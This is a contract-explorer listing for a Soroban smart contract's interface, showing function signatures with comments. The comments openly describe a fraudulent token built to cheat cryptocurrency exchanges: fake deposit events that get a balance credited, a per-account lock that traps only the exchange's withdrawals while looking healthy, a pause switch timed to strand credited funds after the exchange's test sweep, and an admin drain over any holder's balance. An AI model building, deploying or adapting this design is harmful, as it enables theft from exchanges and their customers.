Contract 64eb28154d25b613c818d825502fadf1665aae221a6f1d33bb4f84eddac09f39

← Back to Index 📥 Download WASM

Meta

rssdkver 21.7.7#5da789c50b18a4c2be53394138212fed56f0dfc4
rsver 1.95.0

Instances

  • CAA3WUKPYR6ZUEFYLXWBWEVKAA7JBT2RLHZOBNBTR3BS2W7PJ4W5VCRR

Interface

One-time init: claim the admin role (attacker). First caller wins.

fn init(env: soroban_sdk::Env, admin: soroban_sdk::Address)
fn name(env: soroban_sdk::Env) -> soroban_sdk::String
fn symbol(env: soroban_sdk::Env) -> soroban_sdk::String

SEP-0041 balance read — returns the REAL stored balance.

fn balance(env: soroban_sdk::Env, id: soroban_sdk::Address) -> i128

Credit to directly and emit a SAC-shaped transfer event (admin -> to). Single call, so it simulates cleanly at build time and gives the exchange a REAL balance + a REAL transfer event in one shot.

fn deposit(env: soroban_sdk::Env, to: soroban_sdk::Address, amount: i128)
fn decimals(env: soroban_sdk::Env) -> u32

Standard SEP-0041 transfer. Reverts under pause / per-account lock — the exchange's own withdrawal sweep (from == exchange) hits this and panics.

fn transfer(
    env: soroban_sdk::Env,
    from: soroban_sdk::Address,
    to: soroban_sdk::Address,
    amount: i128,
)

Per-account outbound lock — freeze exactly the exchange while others keep transacting (looks healthier than a global pause).

fn set_locked(env: soroban_sdk::Env, who: soroban_sdk::Address, locked: bool)

Global kill-switch for outbound transfers. Flip to true AFTER the exchange's deposit-time test sweep to strand the credited balance.

fn set_paused(env: soroban_sdk::Env, paused: bool)

Permanent-delegate analogue: the admin moves ANY holder's balance.

fn admin_drain(
    env: soroban_sdk::Env,
    from: soroban_sdk::Address,
    to: soroban_sdk::Address,
    amount: i128,
)

Imports

WebAssembly Text (WAT) ▶